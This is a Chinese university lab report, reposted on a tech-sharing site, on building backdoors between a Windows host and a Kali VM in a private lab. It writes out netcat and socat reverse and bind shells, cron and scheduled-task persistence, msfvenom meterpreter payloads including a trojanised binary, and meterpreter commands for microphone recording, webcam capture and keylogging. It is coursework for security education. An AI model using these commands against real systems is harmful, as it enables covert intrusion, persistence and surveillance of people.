ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

后门原理与实践

2022-05-19 09:04:41  阅读:179  来源: 互联网

标签:后门 1317 exe 主机 实践 192.168 获取 原理


20191317 Exp2-后门原理与实践

实验基础

本次实验需要我们掌握后门的基础知识,学习使用nc实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom指令生成简单的后门程序,学会MSF POST模块的应用。

基础知识

后门的概念

后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。

实验目标

  • 使用netcat获取主机操作Shell,cron启动
  • 使用socat获取主机操作Shell,任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

实验环境

环境

  • 主机:Windows 7;
  • 靶机:Kali Linux 10;

在主机上用ifconfig查看Windows7主机IP


主机IP为192.168.30.151

在Kali虚拟机中用sudo ipconfig查看Kali虚拟机IP


Kali虚拟机IP为192.168.30.147


实验过程

一、使用netcat获取主机操作Shell,启动cron

在主机中使用ncat -l -p 1317(个人学号后四位)监听本机的1317端口


(注:若Windows中未安装ncat命令,可以点击ncat.rar下载,解压后可使用)

在主机中获取虚拟机shell

在虚拟机中使用nc 192.168.30.151(主机IP) 1317 -e /bin/sh连接主机反弹shell

成功getshell

在虚拟机中获取主机shell

在虚拟机中用nc -l -p 1317监听主机1317端口

在主机中用ncat -e cmd 192.168.30.147 1317,成功获取到主机shell

在虚拟机中启动cron并在主机监听

先在虚拟机上用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)

在最后一行添加17 * * * * nc 192.168.30.151 1317 -e /bin/sh,即在每个小时的第17分钟反向连接Windows主机的1317端口

等到每小时的17分,在ip地址为192.168.30.151的主机端用ncat -l -p 1317打开监听即可

在主机成功获取虚拟机的shell
此外,也可以开一个非反弹式后门,在cron中写入nc -l -p 1317 -e /bin/sh,这是攻击机能随时通过nc 主机ip 1317获得虚拟机的一个Shell

二、使用socat获取主机操作Shell,任务计划启动

在Windows获得Linux Shell

在Kali中用man socat查看使用说明

在Windows中按Win+R,再输入compmgmt.msc打开计算机管理

在系统工具中的任务计划程序中创建任务
image-20220328192339368

设置任务名称

新建触发器

下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar,并解压后使用,使用参考README

新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:1317 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1317,同时把cmd.exe的stderr重定向

设置好后我们按下Win+L(通用)或者F10(一些电脑适用)锁定工作台,即把电脑锁屏。解锁后出现命令行

在Kali中输入命令socat - tcp:192.168.30.151:1317

成功获取Windows的Shell

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上生成后门可执行程序20191317_backdoor.exe

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.147 LPORT=1317 -f exe > 20191317_backdoor.exe,其中

  • LHOST为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IP
  • LPORT是回连的端口
  • -p 使用的payload。
    payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
  • -f 生成文件的类型
  • > 输出到哪个文件

在Windows上打开监听

在Kali上用nc 192.168.30.151 1317 < 20191317_backdoor.exe将生成的20191317_backdoor.exe后门程序传过去

在kali上使用msfconsole指令进入msf控制台

对msf控制台进行配置
依次输入以下命令

use exploit/multi/handler		#使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp		#使用和生成后门程序时相同的payload
set LHOST 192.168.30.147			#KaliIP,和生成后门程序时指定的IP相同
set LPORT 1317

接着输入exploit进行监听,在Windows在打开20191317_backdoor.exe后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取目标主机音频

在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)

获取目标主机摄像头

输入webcam_snap指令控制摄像头进行拍照

run webcam可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件

获取击键记录

输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)

截取主机屏幕

使用screenshot指令可以进行截屏

五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

参考网上资料找到指令

msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
  • 在参数说明中提到,-p使用的为有效载荷,由于我们是在x86下的linux系统,所以要改为linux/x86/meterpreter/reverse_tcp
  • -x可执行文件模板,shellcode会写入这个可执行文件中
  • LHOSTLPORT是ip地址和端口,我们把它改为192.168.30.1471317
  • -f是生成文件的类型,我们把它改为二进制可执行文件elf

所以最后的payload为

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.30.147 LPORT=1317 -x 20191317pwnexp2 -f elf > 20191317exp2

输入msfconsole进入MSF控制台,保持对应配置和之前相同

use exploit/multi/handler		#使用监听模块,设置payload
set payload linux/x86/meterpreter/reverse_tcp		#使用和生成后门程序时相同的payload
set LHOST 192.168.30.147			#KaliIP,和生成后门程序时指定的IP相同
set LPORT 1317

再在msf中使用exploit监听

在另一终端中将运行20191317exp2执行

可看到msf中获取权限

成功获得shell


基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

某些图片也可以被植入后门,如果你下载之后再点开,就会中招

例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows
    将后门安装为服务,服务设置为开机自启动,后门随之启动。
  • Linux
    linux同样有着开机自启动的脚本

Meterpreter有哪些给你印象深刻的功能?

​ Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

​ Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。

如何发现自己有系统有没有被安装后门?

  • 内存经常被占用
    病毒打开了许多文件或占用了大量内存。
  • 电脑中出现了一些不明服务
  • 某些文件打不开
    病毒修改了文件格式;病毒修改了文件链接位置。文件损坏;硬盘损坏;文件快捷方式对应的链接位置发生了变化;原来编辑文件的软件删除了。
  • 出现大量来历不明的文件
    后门复制了大量文件。
  • 电脑自动执行或启动程序
    后门在执行非法操作。

实验心得

本次实验感觉非常有意思,无论是获取win主机shell或者是获取linux主机shell,以及监听主机摄像头,麦克风,键盘输入或者屏幕截图。都非常有意思,但是这一切的前提是,两台主机可以互相ping通,如果ping不通,以上一切全部免谈。所以本次实验,大部分只起到了科普作用,没有实际上的用处。如果要实用,我觉得首先就要突破网关限制,要么是在同一局域网下,要么不在局域网下,但是要突破网关连通内网主机。

标签:后门,1317,exe,主机,实践,192.168,获取,原理
来源: https://www.cnblogs.com/wpy-1049363419/p/16286484.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有